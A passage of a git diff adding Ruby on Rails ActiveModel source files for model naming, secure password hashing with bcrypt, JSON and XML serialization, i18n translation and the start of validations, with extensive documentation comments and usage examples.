+ delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
+ :to_str, :to => :name
+
+ # Returns a new ActiveModel::Name instance. By default, the +namespace+
+ # and +name+ option will take the namespace and name of the given class
+ # respectively.
+ #
+ # module Foo
+ # class Bar
+ # end
+ # end
+ #
+ # ActiveModel::Name.new(Foo::Bar).to_s
+ # # => "Foo::Bar"
+ def initialize(klass, namespace = nil, name = nil)
+ @name = name || klass.name
+
+ raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if @name.blank?
+
+ @unnamespaced = @name.sub(/^#{namespace.name}::/, '') if namespace
+ @klass = klass
+ @singular = _singularize(@name)
+ @plural = ActiveSupport::Inflector.pluralize(@singular)
+ @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(@name))
+ @human = ActiveSupport::Inflector.humanize(@element)
+ @collection = ActiveSupport::Inflector.tableize(@name)
+ @param_key = (namespace ? _singularize(@unnamespaced) : @singular)
+ @i18n_key = @name.underscore.to_sym
+
+ @route_key = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural.dup)
+ @singular_route_key = ActiveSupport::Inflector.singularize(@route_key)
+ @route_key << "_index" if @plural == @singular
+ end
+
+ # Transform the model name into a more humane format, using I18n. By default,
+ # it will underscore then humanize the class name.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name.human # => "Blog post"
+ #
+ # Specify +options+ with additional translating options.
+ def human(options={})
+ return @human unless @klass.respond_to?(:lookup_ancestors) &&
+ @klass.respond_to?(:i18n_scope)
+
+ defaults = @klass.lookup_ancestors.map do |klass|
+ klass.model_name.i18n_key
+ end
+
+ defaults << options[:default] if options[:default]
+ defaults << @human
+
+ options = { :scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults }.merge!(options.except(:default))
+ I18n.translate(defaults.shift, options)
+ end
+
+ private
+
+ def _singularize(string, replacement='_')
+ ActiveSupport::Inflector.underscore(string).tr('/', replacement)
+ end
+ end
+
+ # == Active \Model \Naming
+ #
+ # Creates a +model_name+ method on your object.
+ #
+ # To implement, just extend ActiveModel::Naming in your object:
+ #
+ # class BookCover
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BookCover.model_name # => "BookCover"
+ # BookCover.model_name.human # => "Book cover"
+ #
+ # BookCover.model_name.i18n_key # => :book_cover
+ # BookModule::BookCover.model_name.i18n_key # => :"book_module/book_cover"
+ #
+ # Providing the functionality that ActiveModel::Naming provides in your object
+ # is required to pass the Active Model Lint test. So either extending the
+ # provided method below, or rolling your own is required.
+ module Naming
+ # Returns an ActiveModel::Name object for module. It can be
+ # used to retrieve all kinds of naming-related information
+ # (See ActiveModel::Name for more information).
+ #
+ # class Person < ActiveModel::Model
+ # end
+ #
+ # Person.model_name # => Person
+ # Person.model_name.class # => ActiveModel::Name
+ # Person.model_name.singular # => "person"
+ # Person.model_name.plural # => "people"
+ def model_name
+ @_model_name ||= begin
+ namespace = self.parents.detect do |n|
+ n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
+ end
+ ActiveModel::Name.new(self, namespace)
+ end
+ end
+
+ # Returns the plural class name of a record or class.
+ #
+ # ActiveModel::Naming.plural(post) # => "posts"
+ # ActiveModel::Naming.plural(Highrise::Person) # => "highrise_people"
+ def self.plural(record_or_class)
+ model_name_from_record_or_class(record_or_class).plural
+ end
+
+ # Returns the singular class name of a record or class.
+ #
+ # ActiveModel::Naming.singular(post) # => "post"
+ # ActiveModel::Naming.singular(Highrise::Person) # => "highrise_person"
+ def self.singular(record_or_class)
+ model_name_from_record_or_class(record_or_class).singular
+ end
+
+ # Identifies whether the class name of a record or class is uncountable.
+ #
+ # ActiveModel::Naming.uncountable?(Sheep) # => true
+ # ActiveModel::Naming.uncountable?(Post) # => false
+ def self.uncountable?(record_or_class)
+ plural(record_or_class) == singular(record_or_class)
+ end
+
+ # Returns string to use while generating route names. It differs for
+ # namespaced models regarding whether it's inside isolated engine.
+ #
+ # # For isolated engine:
+ # ActiveModel::Naming.singular_route_key(Blog::Post) #=> post
+ #
+ # # For shared engine:
+ # ActiveModel::Naming.singular_route_key(Blog::Post) #=> blog_post
+ def self.singular_route_key(record_or_class)
+ model_name_from_record_or_class(record_or_class).singular_route_key
+ end
+
+ # Returns string to use while generating route names. It differs for
+ # namespaced models regarding whether it's inside isolated engine.
+ #
+ # # For isolated engine:
+ # ActiveModel::Naming.route_key(Blog::Post) #=> posts
+ #
+ # # For shared engine:
+ # ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+ #
+ # The route key also considers if the noun is uncountable and, in
+ # such cases, automatically appends _index.
+ def self.route_key(record_or_class)
+ model_name_from_record_or_class(record_or_class).route_key
+ end
+
+ # Returns string to use for params names. It differs for
+ # namespaced models regarding whether it's inside isolated engine.
+ #
+ # # For isolated engine:
+ # ActiveModel::Naming.param_key(Blog::Post) #=> post
+ #
+ # # For shared engine:
+ # ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+ def self.param_key(record_or_class)
+ model_name_from_record_or_class(record_or_class).param_key
+ end
+
+ def self.model_name_from_record_or_class(record_or_class) #:nodoc:
+ if record_or_class.respond_to?(:model_name)
+ record_or_class.model_name
+ elsif record_or_class.respond_to?(:to_model)
+ record_or_class.to_model.class.model_name
+ else
+ record_or_class.class.model_name
+ end
+ end
+ private_class_method :model_name_from_record_or_class
+ end
+end
diff --git a/activemodel/lib/active_model/railtie.rb b/activemodel/lib/active_model/railtie.rb
new file mode 100644
index 0000000..1671eb7
--- /dev/null
+++ b/activemodel/lib/active_model/railtie.rb
@@ -0,0 +1,12 @@
+require "active_model"
+require "rails"
+
+module ActiveModel
+ class Railtie < Rails::Railtie # :nodoc:
+ config.eager_load_namespaces << ActiveModel
+
+ initializer "active_model.secure_password" do
+ ActiveModel::SecurePassword.min_cost = Rails.env.test?
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
new file mode 100644
index 0000000..de8a641
--- /dev/null
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -0,0 +1,115 @@
+module ActiveModel
+ module SecurePassword
+ extend ActiveSupport::Concern
+
+ class << self; attr_accessor :min_cost; end
+ self.min_cost = false
+
+ module ClassMethods
+ # Adds methods to set and authenticate against a BCrypt password.
+ # This mechanism requires you to have a password_digest attribute.
+ #
+ # Validations for presence of password on create, confirmation of password
+ # (using a +password_confirmation+ attribute) are automatically added. If
+ # you wish to turn off validations, pass <tt>validations: false</tt> as an
+ # argument. You can add more validations by hand if need be.
+ #
+ # If you don't need the confirmation validation, just don't set any
+ # value to the password_confirmation attribute and the the validation
+ # will not be triggered.
+ #
+ # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use #has_secure_password:
+ #
+ # gem 'bcrypt-ruby', '~> 3.0.0'
+ #
+ # Example using Active Record (which automatically includes ActiveModel::SecurePassword):
+ #
+ # # Schema: User(name:string, password_digest:string)
+ # class User < ActiveRecord::Base
+ # has_secure_password
+ # end
+ #
+ # user = User.new(name: 'david', password: '', password_confirmation: 'nomatch')
+ # user.save # => false, password required
+ # user.password = 'mUc3m00RsqyRe'
+ # user.save # => false, confirmation doesn't match
+ # user.password_confirmation = 'mUc3m00RsqyRe'
+ # user.save # => true
+ # user.authenticate('notright') # => false
+ # user.authenticate('mUc3m00RsqyRe') # => user
+ # User.find_by(name: 'david').try(:authenticate, 'notright') # => false
+ # User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
+ def has_secure_password(options = {})
+ # Load bcrypt-ruby only when has_secure_password is used.
+ # This is to avoid ActiveModel (and by extension the entire framework)
+ # being dependent on a binary library.
+ begin
+ gem 'bcrypt-ruby', '~> 3.0.0'
+ require 'bcrypt'
+ rescue LoadError
+ $stderr.puts "You don't have bcrypt-ruby installed in your application. Please add it to your Gemfile and run bundle install"
+ raise
+ end
+
+ attr_reader :password
+
+ include InstanceMethodsOnActivation
+
+ if options.fetch(:validations, true)
+ validates_confirmation_of :password
+ validates_presence_of :password, :on => :create
+
+ before_create { raise "Password digest missing on new record" if password_digest.blank? }
+ end
+
+ if respond_to?(:attributes_protected_by_default)
+ def self.attributes_protected_by_default #:nodoc:
+ super + ['password_digest']
+ end
+ end
+ end
+ end
+
+ module InstanceMethodsOnActivation
+ # Returns +self+ if the password is correct, otherwise +false+.
+ #
+ # class User < ActiveRecord::Base
+ # has_secure_password validations: false
+ # end
+ #
+ # user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
+ # user.save
+ # user.authenticate('notright') # => false
+ # user.authenticate('mUc3m00RsqyRe') # => user
+ def authenticate(unencrypted_password)
+ BCrypt::Password.new(password_digest) == unencrypted_password && self
+ end
+
+ # Encrypts the password into the +password_digest+ attribute, only if the
+ # new password is not blank.
+ #
+ # class User < ActiveRecord::Base
+ # has_secure_password validations: false
+ # end
+ #
+ # user = User.new
+ # user.password = nil
+ # user.password_digest # => nil
+ # user.password = 'mUc3m00RsqyRe'
+ # user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
+ def password=(unencrypted_password)
+ unless unencrypted_password.blank?
+ @password = unencrypted_password
+ cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine::DEFAULT_COST
+ self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
+ end
+ end
+
+ def password_confirmation=(unencrypted_password)
+ unless unencrypted_password.blank?
+ @password_confirmation = unencrypted_password
+ end
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
new file mode 100644
index 0000000..fdb06ae
--- /dev/null
+++ b/activemodel/lib/active_model/serialization.rb
@@ -0,0 +1,163 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+
+module ActiveModel
+ # == Active \Model \Serialization
+ #
+ # Provides a basic serialization to a serializable_hash for your object.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::Serialization
+ #
+ # attr_accessor :name
+ #
+ # def attributes
+ # {'name' => nil}
+ # end
+ # end
+ #
+ # Which would provide you with:
+ #
+ # person = Person.new
+ # person.serializable_hash # => {"name"=>nil}
+ # person.name = "Bob"
+ # person.serializable_hash # => {"name"=>"Bob"}
+ #
+ # You need to declare an attributes hash which contains the attributes you
+ # want to serialize. Attributes must be strings, not symbols. When called,
+ # serializable hash will use instance methods that match the name of the
+ # attributes hash's keys. In order to override this behavior, take a look at
+ # the private method +read_attribute_for_serialization+.
+ #
+ # Most of the time though, you will want to include the JSON or XML
+ # serializations. Both of these modules automatically include the
+ # <tt>ActiveModel::Serialization</tt> module, so there is no need to
+ # explicitly include it.
+ #
+ # A minimal implementation including XML and JSON would be:
+ #
+ # class Person
+ # include ActiveModel::Serializers::JSON
+ # include ActiveModel::Serializers::Xml
+ #
+ # attr_accessor :name
+ #
+ # def attributes
+ # {'name' => nil}
+ # end
+ # end
+ #
+ # Which would provide you with:
+ #
+ # person = Person.new
+ # person.serializable_hash # => {"name"=>nil}
+ # person.as_json # => {"name"=>nil}
+ # person.to_json # => "{\"name\":null}"
+ # person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person...
+ #
+ # person.name = "Bob"
+ # person.serializable_hash # => {"name"=>"Bob"}
+ # person.as_json # => {"name"=>"Bob"}
+ # person.to_json # => "{\"name\":\"Bob\"}"
+ # person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person...
+ #
+ # Valid options are <tt>:only</tt>, <tt>:except</tt>, <tt>:methods</tt> and
+ # <tt>:include</tt>. The following are all valid examples:
+ #
+ # person.serializable_hash(only: 'name')
+ # person.serializable_hash(include: :address)
+ # person.serializable_hash(include: { address: { only: 'city' }})
+ module Serialization
+ # Returns a serialized hash of your object.
+ #
+ # class Person
+ # include ActiveModel::Serialization
+ #
+ # attr_accessor :name, :age
+ #
+ # def attributes
+ # {'name' => nil, 'age' => nil}
+ # end
+ #
+ # def capitalized_name
+ # name.capitalize
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'bob'
+ # person.age = 22
+ # person.serializable_hash # => {"name"=>"bob", "age"=>22}
+ # person.serializable_hash(only: :name) # => {"name"=>"bob"}
+ # person.serializable_hash(except: :name) # => {"age"=>22}
+ # person.serializable_hash(methods: :capitalized_name)
+ # # => {"name"=>"bob", "age"=>22, "capitalized_name"=>"Bob"}
+ def serializable_hash(options = nil)
+ options ||= {}
+
+ attribute_names = attributes.keys
+ if only = options[:only]
+ attribute_names &= Array(only).map(&:to_s)
+ elsif except = options[:except]
+ attribute_names -= Array(except).map(&:to_s)
+ end
+
+ hash = {}
+ attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) }
+
+ Array(options[:methods]).each { |m| hash[m.to_s] = send(m) if respond_to?(m) }
+
+ serializable_add_includes(options) do |association, records, opts|
+ hash[association.to_s] = if records.respond_to?(:to_ary)
+ records.to_ary.map { |a| a.serializable_hash(opts) }
+ else
+ records.serializable_hash(opts)
+ end
+ end
+
+ hash
+ end
+
+ private
+
+ # Hook method defining how an attribute value should be retrieved for
+ # serialization. By default this is assumed to be an instance named after
+ # the attribute. Override this method in subclasses should you need to
+ # retrieve the value for a given attribute differently:
+ #
+ # class MyClass
+ # include ActiveModel::Validations
+ #
+ # def initialize(data = {})
+ # @data = data
+ # end
+ #
+ # def read_attribute_for_serialization(key)
+ # @data[key]
+ # end
+ # end
+ alias :read_attribute_for_serialization :send
+
+ # Add associations specified via the <tt>:include</tt> option.
+ #
+ # Expects a block that takes as arguments:
+ # +association+ - name of the association
+ # +records+ - the association record(s) to be serialized
+ # +opts+ - options for the association records
+ def serializable_add_includes(options = {}) #:nodoc:
+ return unless includes = options[:include]
+
+ unless includes.is_a?(Hash)
+ includes = Hash[Array(includes).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
+ end
+
+ includes.each do |association, opts|
+ if records = send(association)
+ yield association, records, opts
+ end
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
new file mode 100644
index 0000000..9d984b7
--- /dev/null
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -0,0 +1,145 @@
+require 'active_support/json'
+
+module ActiveModel
+ module Serializers
+ # == Active Model JSON Serializer
+ module JSON
+ extend ActiveSupport::Concern
+ include ActiveModel::Serialization
+
+ included do
+ extend ActiveModel::Naming
+
+ class_attribute :include_root_in_json
+ self.include_root_in_json = false
+ end
+
+ # Returns a hash representing the model. Some configuration can be
+ # passed through +options+.
+ #
+ # The option <tt>include_root_in_json</tt> controls the top-level behavior
+ # of +as_json+. If +true+, +as_json+ will emit a single root node named
+ # after the object's type. The default value for <tt>include_root_in_json</tt>
+ # option is +false+.
+ #
+ # user = User.find(1)
+ # user.as_json
+ # # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true}
+ #
+ # ActiveRecord::Base.include_root_in_json = true
+ #
+ # user.as_json
+ # # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true } }
+ #
+ # This behavior can also be achieved by setting the <tt>:root</tt> option
+ # to +true+ as in:
+ #
+ # user = User.find(1)
+ # user.as_json(root: true)
+ # # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true } }
+ #
+ # Without any +options+, the returned Hash will include all the model's
+ # attributes.
+ #
+ # user = User.find(1)
+ # user.as_json
+ # # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true}
+ #
+ # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit
+ # the attributes included, and work similar to the +attributes+ method.
+ #
+ # user.as_json(only: [:id, :name])
+ # # => { "id" => 1, "name" => "Konata Izumi" }
+ #
+ # user.as_json(except: [:id, :created_at, :age])
+ # # => { "name" => "Konata Izumi", "awesome" => true }
+ #
+ # To include the result of some method calls on the model use <tt>:methods</tt>:
+ #
+ # user.as_json(methods: :permalink)
+ # # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true,
+ # # "permalink" => "1-konata-izumi" }
+ #
+ # To include associations use <tt>:include</tt>:
+ #
+ # user.as_json(include: :posts)
+ # # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true,
+ # # "posts" => [ { "id" => 1, "author_id" => 1, "title" => "Welcome to the weblog" },
+ # # { "id" => 2, "author_id" => 1, "title" => "So I was thinking" } ] }
+ #
+ # Second level and higher order associations work as well:
+ #
+ # user.as_json(include: { posts: {
+ # include: { comments: {
+ # only: :body } },
+ # only: :title } })
+ # # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+ # # "created_at" => "2006/08/01", "awesome" => true,
+ # # "posts" => [ { "comments" => [ { "body" => "1st post!" }, { "body" => "Second!" } ],
+ # # "title" => "Welcome to the weblog" },
+ # # { "comments" => [ { "body" => "Don't think too hard" } ],
+ # # "title" => "So I was thinking" } ] }
+ def as_json(options = nil)
+ root = if options && options.key?(:root)
+ options[:root]
+ else
+ include_root_in_json
+ end
+
+ if root
+ root = self.class.model_name.element if root == true
+ { root => serializable_hash(options) }
+ else
+ serializable_hash(options)
+ end
+ end
+
+ # Sets the model +attributes+ from a JSON string. Returns +self+.
+ #
+ # class Person
+ # include ActiveModel::Serializers::JSON
+ #
+ # attr_accessor :name, :age, :awesome
+ #
+ # def attributes=(hash)
+ # hash.each do |key, value|
+ # instance_variable_set("@#{key}", value)
+ # end
+ # end
+ #
+ # def attributes
+ # instance_values
+ # end
+ # end
+ #
+ # json = { name: 'bob', age: 22, awesome:true }.to_json
+ # person = Person.new
+ # person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+ # person.name # => "bob"
+ # person.age # => 22
+ # person.awesome # => true
+ #
+ # The default value for +include_root+ is +false+. You can change it to
+ # +true+ if the given JSON string includes a single root node.
+ #
+ # json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
+ # person = Person.new
+ # person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+ # person.name # => "bob"
+ # person.age # => 22
+ # person.awesome # => true
+ def from_json(json, include_root=include_root_in_json)
+ hash = ActiveSupport::JSON.decode(json)
+ hash = hash.values.first if include_root
+ self.attributes = hash
+ self
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
new file mode 100644
index 0000000..648ae7c
--- /dev/null
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -0,0 +1,238 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/hash/conversions'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/time/acts_like'
+
+module ActiveModel
+ module Serializers
+ # == Active Model XML Serializer
+ module Xml
+ extend ActiveSupport::Concern
+ include ActiveModel::Serialization
+
+ included do
+ extend ActiveModel::Naming
+ end
+
+ class Serializer #:nodoc:
+ class Attribute #:nodoc:
+ attr_reader :name, :value, :type
+
+ def initialize(name, serializable, value)
+ @name, @serializable = name, serializable
+
+ if value.acts_like?(:time) && value.respond_to?(:in_time_zone)
+ value = value.in_time_zone
+ end
+
+ @value = value
+ @type = compute_type
+ end
+
+ def decorations
+ decorations = {}
+ decorations[:encoding] = 'base64' if type == :binary
+ decorations[:type] = (type == :string) ? nil : type
+ decorations[:nil] = true if value.nil?
+ decorations
+ end
+
+ protected
+
+ def compute_type
+ return if value.nil?
+ type = ActiveSupport::XmlMini::TYPE_NAMES[value.class.name]
+ type ||= :string if value.respond_to?(:to_str)
+ type ||= :yaml
+ type
+ end
+ end
+
+ class MethodAttribute < Attribute #:nodoc:
+ end
+
+ attr_reader :options
+
+ def initialize(serializable, options = nil)
+ @serializable = serializable
+ @options = options ? options.dup : {}
+ end
+
+ def serializable_hash
+ @serializable.serializable_hash(@options.except(:include))
+ end
+
+ def serializable_collection
+ methods = Array(options[:methods]).map(&:to_s)
+ serializable_hash.map do |name, value|
+ name = name.to_s
+ if methods.include?(name)
+ self.class::MethodAttribute.new(name, @serializable, value)
+ else
+ self.class::Attribute.new(name, @serializable, value)
+ end
+ end
+ end
+
+ def serialize
+ require 'builder' unless defined? ::Builder
+
+ options[:indent] ||= 2
+ options[:builder] ||= ::Builder::XmlMarkup.new(:indent => options[:indent])
+
+ @builder = options[:builder]
+ @builder.instruct! unless options[:skip_instruct]
+
+ root = (options[:root] || @serializable.class.model_name.element).to_s
+ root = ActiveSupport::XmlMini.rename_key(root, options)
+
+ args = [root]
+ args << {:xmlns => options[:namespace]} if options[:namespace]
+ args << {:type => options[:type]} if options[:type] && !options[:skip_types]
+
+ @builder.tag!(*args) do
+ add_attributes_and_methods
+ add_includes
+ add_extra_behavior
+ add_procs
+ yield @builder if block_given?
+ end
+ end
+
+ private
+
+ def add_extra_behavior
+ end
+
+ def add_attributes_and_methods
+ serializable_collection.each do |attribute|
+ key = ActiveSupport::XmlMini.rename_key(attribute.name, options)
+ ActiveSupport::XmlMini.to_tag(key, attribute.value,
+ options.merge(attribute.decorations))
+ end
+ end
+
+ def add_includes
+ @serializable.send(:serializable_add_includes, options) do |association, records, opts|
+ add_associations(association, records, opts)
+ end
+ end
+
+ # TODO: This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well.
+ def add_associations(association, records, opts)
+ merged_options = opts.merge(options.slice(:builder, :indent))
+ merged_options[:skip_instruct] = true
+
+ [:skip_types, :dasherize, :camelize].each do |key|
+ merged_options[key] = options[key] if merged_options[key].nil? && !options[key].nil?
+ end
+
+ if records.respond_to?(:to_ary)
+ records = records.to_ary
+
+ tag = ActiveSupport::XmlMini.rename_key(association.to_s, options)
+ type = options[:skip_types] ? { } : {:type => "array"}
+ association_name = association.to_s.singularize
+ merged_options[:root] = association_name
+
+ if records.empty?
+ @builder.tag!(tag, type)
+ else
+ @builder.tag!(tag, type) do
+ records.each do |record|
+ if options[:skip_types]
+ record_type = {}
+ else
+ record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
+ record_type = {:type => record_class}
+ end
+
+ record.to_xml merged_options.merge(record_type)
+ end
+ end
+ end
+ else
+ merged_options[:root] = association.to_s
+
+ unless records.class.to_s.underscore == association.to_s
+ merged_options[:type] = records.class.name
+ end
+
+ records.to_xml merged_options
+ end
+ end
+
+ def add_procs
+ if procs = options.delete(:procs)
+ Array(procs).each do |proc|
+ if proc.arity == 1
+ proc.call(options)
+ else
+ proc.call(options, @serializable)
+ end
+ end
+ end
+ end
+ end
+
+ # Returns XML representing the model. Configuration can be
+ # passed through +options+.
+ #
+ # Without any +options+, the returned XML string will include all the
+ # model's attributes.
+ #
+ # user = User.find(1)
+ # user.to_xml
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <user>
+ # <id type="integer">1</id>
+ # <name>David</name>
+ # <age type="integer">16</age>
+ # <created-at type="dateTime">2011-01-30T22:29:23Z</created-at>
+ # </user>
+ #
+ # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the
+ # attributes included, and work similar to the +attributes+ method.
+ #
+ # To include the result of some method calls on the model use <tt>:methods</tt>.
+ #
+ # To include associations use <tt>:include</tt>.
+ #
+ # For further documentation, see <tt>ActiveRecord::Serialization#to_xml</tt>
+ def to_xml(options = {}, &block)
+ Serializer.new(self, options).serialize(&block)
+ end
+
+ # Sets the model +attributes+ from a JSON string. Returns +self+.
+ #
+ # class Person
+ # include ActiveModel::Serializers::Xml
+ #
+ # attr_accessor :name, :age, :awesome
+ #
+ # def attributes=(hash)
+ # hash.each do |key, value|
+ # instance_variable_set("@#{key}", value)
+ # end
+ # end
+ #
+ # def attributes
+ # instance_values
+ # end
+ # end
+ #
+ # xml = { name: 'bob', age: 22, awesome:true }.to_xml
+ # person = Person.new
+ # person.from_xml(xml) # => #<Person:0x007fec5e3b3c40 @age=22, @awesome=true, @name="bob">
+ # person.name # => "bob"
+ # person.age # => 22
+ # person.awesome # => true
+ def from_xml(xml)
+ self.attributes = Hash.from_xml(xml).values.first
+ self
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/test_case.rb b/activemodel/lib/active_model/test_case.rb
new file mode 100644
index 0000000..5004855
--- /dev/null
+++ b/activemodel/lib/active_model/test_case.rb
@@ -0,0 +1,4 @@
+module ActiveModel #:nodoc:
+ class TestCase < ActiveSupport::TestCase #:nodoc:
+ end
+end
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
new file mode 100644
index 0000000..0d098ba
--- /dev/null
+++ b/activemodel/lib/active_model/translation.rb
@@ -0,0 +1,69 @@
+module ActiveModel
+
+ # == Active \Model \Translation
+ #
+ # Provides integration between your object and the Rails internationalization
+ # (i18n) framework.
+ #
+ # A minimal implementation could be:
+ #
+ # class TranslatedPerson
+ # extend ActiveModel::Translation
+ # end
+ #
+ # TranslatedPerson.human_attribute_name('my_attribute')
+ # # => "My attribute"
+ #
+ # This also provides the required class methods for hooking into the
+ # Rails internationalization API, including being able to define a
+ # class based +i18n_scope+ and +lookup_ancestors+ to find translations in
+ # parent classes.
+ module Translation
+ include ActiveModel::Naming
+
+ # Returns the +i18n_scope+ for the class. Overwrite if you want custom lookup.
+ def i18n_scope
+ :activemodel
+ end
+
+ # When localizing a string, it goes through the lookup returned by this
+ # method, which is used in ActiveModel::Name#human,
+ # ActiveModel::Errors#full_messages and
+ # ActiveModel::Translation#human_attribute_name.
+ def lookup_ancestors
+ self.ancestors.select { |x| x.respond_to?(:model_name) }
+ end
+
+ # Transforms attribute names into a more human format, such as "First name"
+ # instead of "first_name".
+ #
+ # Person.human_attribute_name("first_name") # => "First name"
+ #
+ # Specify +options+ with additional translating options.
+ def human_attribute_name(attribute, options = {})
+ options = { :count => 1 }.merge!(options)
+ parts = attribute.to_s.split(".")
+ attribute = parts.pop
+ namespace = parts.join("/") unless parts.empty?
+ attributes_scope = "#{self.i18n_scope}.attributes"
+
+ if namespace
+ defaults = lookup_ancestors.map do |klass|
+ :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.#{attribute}"
+ end
+ defaults << :"#{attributes_scope}.#{namespace}.#{attribute}"
+ else
+ defaults = lookup_ancestors.map do |klass|
+ :"#{attributes_scope}.#{klass.model_name.i18n_key}.#{attribute}"
+ end
+ end
+
+ defaults << :"attributes.#{attribute}"
+ defaults << options.delete(:default) if options[:default]
+ defaults << attribute.humanize
+
+ options[:default] = defaults
+ I18n.translate(defaults.shift, options)
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
new file mode 100644
index 0000000..714cc95
--- /dev/null
+++ b/activemodel/lib/active_model/validations.rb
@@ -0,0 +1,379 @@
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/hash/except'
+
+module ActiveModel
+
+ # == Active \Model Validations
+ #
+ # Provides a full validation framework to your objects.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :first_name, :last_name
+ #
+ # validates_each :first_name, :last_name do |record, attr, value|
+ # record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ # end
+ # end
+ #
+ # Which provides you with the full standard validation stack that you
+ # know from Active Record:
+ #
+ # person = Person.new
+ # person.valid? # => true
+ # person.invalid? # => false
+ #
+ # person.first_name = 'zoolander'
+ # person.valid? # => false
+ # person.invalid? # => true
+ # person.errors.messages # => {first_name:["starts with z."]}
+ #
+ # Note that <tt>ActiveModel::Validations</tt> automatically adds an +errors+
+ # method to your instances initialized with a new <tt>ActiveModel::Errors</tt>
+ # object, so there is no need for you to do this manually.
+ module Validations
+ extend ActiveSupport::Concern
+
+ included do
+ extend ActiveModel::Callbacks
+ extend ActiveModel::Translation
+
+ extend HelperMethods
+ include HelperMethods
+
+ attr_accessor :validation_context
+ define_callbacks :validate, :scope => :name
+
+ class_attribute :_validators
+ self._validators = Hash.new { |h,k| h[k] = [] }
+ end
+
+ module ClassMethods
+ # Validates each attribute against a block.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :first_name, :last_name
+ #
+ # validates_each :first_name, :last_name, allow_blank: true do |record, attr, value|
+ # record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ # end
+ # end
+ #
+ # Options:
+ # * <tt>:on</tt> - Specifies the context where this validation is active
+ # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+ # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+ # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or +false+
+ # value.
+ def validates_each(*attr_names, &block)
+ validates_with BlockValidator, _merge_attributes(attr_names), &block
+ end
+
+ # Adds a validation method or block to the class. This is useful when
